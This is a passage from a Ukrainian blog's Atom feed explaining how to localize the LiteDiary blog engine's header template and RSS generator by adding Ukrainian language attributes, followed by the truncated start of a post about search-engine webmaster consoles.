<p><a href="#lt_new" onclick="$('#lt_new').slideToggle()">Першочергово коректуємо стиль (в сорцях був лише стиль Serenity, тому буду коректувати його)</a> <a id="litediary html шаблон" name="litediary html шаблон" href="#">/B107/sources/styles/serenity/tmpl/header.lph.php</a></p>
<blockquote id="lt_new" style="display:none" title="аналіз та коректування шаблону litediary для коду html українською мовою"><p><font size="1">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;<br /> &nbsp;&nbsp;&nbsp; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;><br /> &lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; </font><font size="1"><strong>lang=&quot;uk&quot; xml:lang=&quot;uk&quot;</strong></font><font size="1">><br /> &lt;head profile=&quot;http://gmpg.org/xfn/11&quot; </font><font size="1"><strong>lang=&quot;uk&quot;</strong></font><font size="1">><br /> &lt;script src='&lt;?=W?>sources/lib_js/common.js' type='text/javascript'>&lt;/script><br /> &lt;script type='text/javascript'>url = '&lt;?=W?>';&lt;/script><br /> &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot;   /><br /> &lt;title </font><font size="1"><strong>lang=&quot;uk&quot;</strong></font><font size="1">>&lt;?=TITLE?>&lt;/title><br /> &lt;meta http-equiv=&quot;Pragma&quot; content=&quot;no-cache&quot;   /><br /> </font><font size="1"><strong>&lt;meta http-equiv=&quot;Content-Language&quot; content=&quot;uk&quot; lang=&quot;uk&quot;   /></strong><br /> &lt;meta name=&quot;generator&quot; content=&quot;[LP]BS &lt;?=$P['type']?>&quot;   /><br /> &lt;meta name=&quot;distribution&quot; content=&quot;global&quot;   /><br /> &lt;meta name=&quot;robots&quot; content=&quot;follow, all&quot;   /><br /> &lt;link href=&quot;&lt;?=ST2?>stylesheet.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;   /><br /> &lt;link rel=&quot;shortcut icon&quot; href=&quot;http://www.litediary.com/favicon.ico&quot;   /><br /> &lt;link rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot; title=&quot;&lt;?=$TEXT['blog_title']?> RSS Feed&quot; href=&quot;&lt;?=W?>feed/&quot;   /><br /> &lt;/head><br /> &lt;body </font><font size="1"><strong>lang=&quot;uk&quot;</strong></font><font size="1">><br /> &lt;div </font><font size="1"><strong>lang=&quot;uk&quot; </strong></font><font size="1">id=&quot;wall&quot; style=&quot;position:fixed; width:100%; height:100%; z-index:99; background-color:#fff; layer-background-color:#fff; border:none; display:none; opacity: .6; filter: alpha(opacity=60); margin:0px; padding:0px; left:0px; top:0px; cursor:progress;&quot;>&lt;/div><br /> &lt;div id=&quot;pages&quot; </font><font size="1"><strong>lang=&quot;uk&quot;</strong></font><font size="1">><br /> &lt;h1 </font><font size="1"><strong>lang=&quot;uk&quot;</strong></font><font size="1">>&lt;a href=&quot;&lt;?=W?>&quot; title=&quot;&lt;?=$TEXT['blog_title']?> :: &lt;?=$L['home']?>&quot; onclick=&quot;getcontent('act=index');return false;&quot;>&lt;?=$TEXT['blog_title']?>&lt;/a>&lt;/h1><br /> &lt;/div><br /> &lt;div id=&quot;wrap&quot; </font><font size="1"><strong>lang=&quot;uk&quot;</strong></font><font size="1">><br /> &lt;div id=&quot;logo&quot; </font><font size="1"><strong>lang=&quot;uk&quot;</strong></font><font size="1">><br /> &lt;/div><br /> &lt;div id='general' </font><font size="1"><strong>lang=&quot;uk&quot;</strong></font><font size="1">>&lt;div id='content' </font><font size="1"><strong>lang=&quot;uk&quot;</strong></font><font size="1">></font></p>
</blockquote>
<p>Всі внесені правки виділено жирним текстом. Крім цього в стилі присутні також елементи, що відповідають за генерацію інших частин двигунця - додавання локалі до них залишаю Вам як домашнє завдання 8))).</p>
<p id="litediary xml шаблон" name="litediary xml шаблон">Наступний крок - зміна локалі в XML - як виявилось, продукт ще дійсно в форматі альфи, бо саму мову не винесено в винляді змінної ядра, вона залишилась як банальний текст в самому генераторі rss та atom стрічок.</p>
<p><a href="#lt_xml_new" onclick="$('#lt_xml_new').slideToggle()">Отже правимо /B107/sources/lib/feed/rss2.php</a></p>
<p>Знаходим en та змінюємо на потрібне Вам значення.</p>
<p>&nbsp;</p>
<blockquote id="lt_xml_new" style="display:none" name="litediary xml локалізовано" title="локалізована версія шаблону українською мовою для генерації xml в litediary"><p><font size="1">&lt;? $POSTS=archiveposts(0,$NUM['posts_in_feed']);?><br /> &lt;?='&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?><br /> &lt;!-- generator=&quot;[LP]BS '.$P['type'].' '.$version.'&quot; --><br /> &lt;rss version=&quot;2.0&quot;<br /> &nbsp;&nbsp;&nbsp; xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;<br /> &nbsp;&nbsp;&nbsp; xmlns:wfw=&quot;http://wellformedweb.org/CommentAPI/&quot;<br /> &nbsp;&nbsp;&nbsp; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;<br /> &nbsp;&nbsp;&nbsp; >'?><br /> &lt;channel><br /> &nbsp;&nbsp;&nbsp; &lt;title>&lt;?=$TEXT['blog_title']?>&lt;/title><br /> &nbsp;&nbsp;&nbsp; &lt;link>&lt;?=W?>&lt;/link>&lt;description>&lt;?=$TEXT['blog_description']?>&lt;/description><br /> &nbsp;&nbsp;&nbsp; &lt;pubDate>Mon, 23 Jul 2007 19:32:07 +0000&lt;/pubDate><br /> &nbsp;&nbsp;&nbsp; &lt;generator>&lt;?=W?>&lt;/generator><br /> &nbsp;&nbsp;&nbsp; <strong>&lt;language>uk&lt;/language></strong>&nbsp;</font></p>
</blockquote>
<p>Локалізацію Atom1.0 документа залишу на плечі самих розробників - там по суті також нескладно.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<hr width="100%" size="2" id="епілог" name="епілог" />
<p>Задумався над написанням висновка.</p>
<p>&nbsp;</p>
<blockquote><p>По суті - писати нічого. Раджу дотримуватись стандартів.</p>
<p>Чому?</p>
<p>Все просто! Під час індексування робот буде обробляти такі сторінки коректно. У разі ж помилок - буде хоча-б доказ того, що помилка в парсері робота, а не на Вашому вебсайті, яка допоможе розв'язати проблему та заставить розробників роботів та інших програм поправити помилку.</p>
</blockquote>
<p>Успіху!</p>
<p>Далі буде...</p>
<p></p>
    ]]></content>
  </entry>
  <entry>
    <title>вебконсолі Yahoo + Google + Yandex + MSN</title>
    <link rel="alternate" type="text/html" href="http://my.ukrweb.info/2008/01/6/%D0%B2%D0%B5%D0%B1%D0%BA%D0%BE%D0%BD%D1%81%D0%BE%D0%BB%D1%96-yahoo-google-yandex-msn" />
    <id>http://my.ukrweb.info/2008/01/6/%D0%B2%D0%B5%D0%B1%D0%BA%D0%BE%D0%BD%D1%81%D0%BE%D0%BB%D1%96-yahoo-google-yandex-msn</id>
    <published>2008-01-19T00:01:50+02:00</published>
    <updated>2008-08-30T01:42:28+03:00</updated>
    <author>
      <name>podarok</name>
    </author>
    <category term="msn" />
    <category term="search" />
    <category term="seo" />
    <category term="ua" />
    <category term="ukrweb" />
    <category term="webmaster" />
    <category term="yahoo" />
    <category term="yandex" />
    <category term="вебдизайн" />
    <category term="вебмайстер" />
    <category term="гугль" />
    <category term="ґуґл" />
    <summary type="html"><![CDATA[<blockquote lang="uk" cite="http://my.ukrweb.info/about" title="Аналізую зручність використання вебконсолей від відомих пошукових сервісів">
<p>Досить давно використовую для аналізу веб сторінок інструменти, що їх пропонують відомі пошукові сервіси і маю бажання поділитись досвідом використання їх та висновками щодо користі, яку отримую від них.</p>
</blockquote>
    ]]></summary>
    <content type="html"><![CDATA[<p>&lt;!--break--></p>
<blockquote lang="uk" cite="http://my.ukrweb.info/about" title="пролог">
<p>Досить давно використовую для аналізу веб сторінок інструменти, що їх пропонують відомі пошукові сервіси і маю бажання поділитись досвідом використання їх та висновками щодо користі, яку отримую від них.</p>
</blockquote>
<h1>Консолі для веб розробників</h1>
<h2>ТЗ</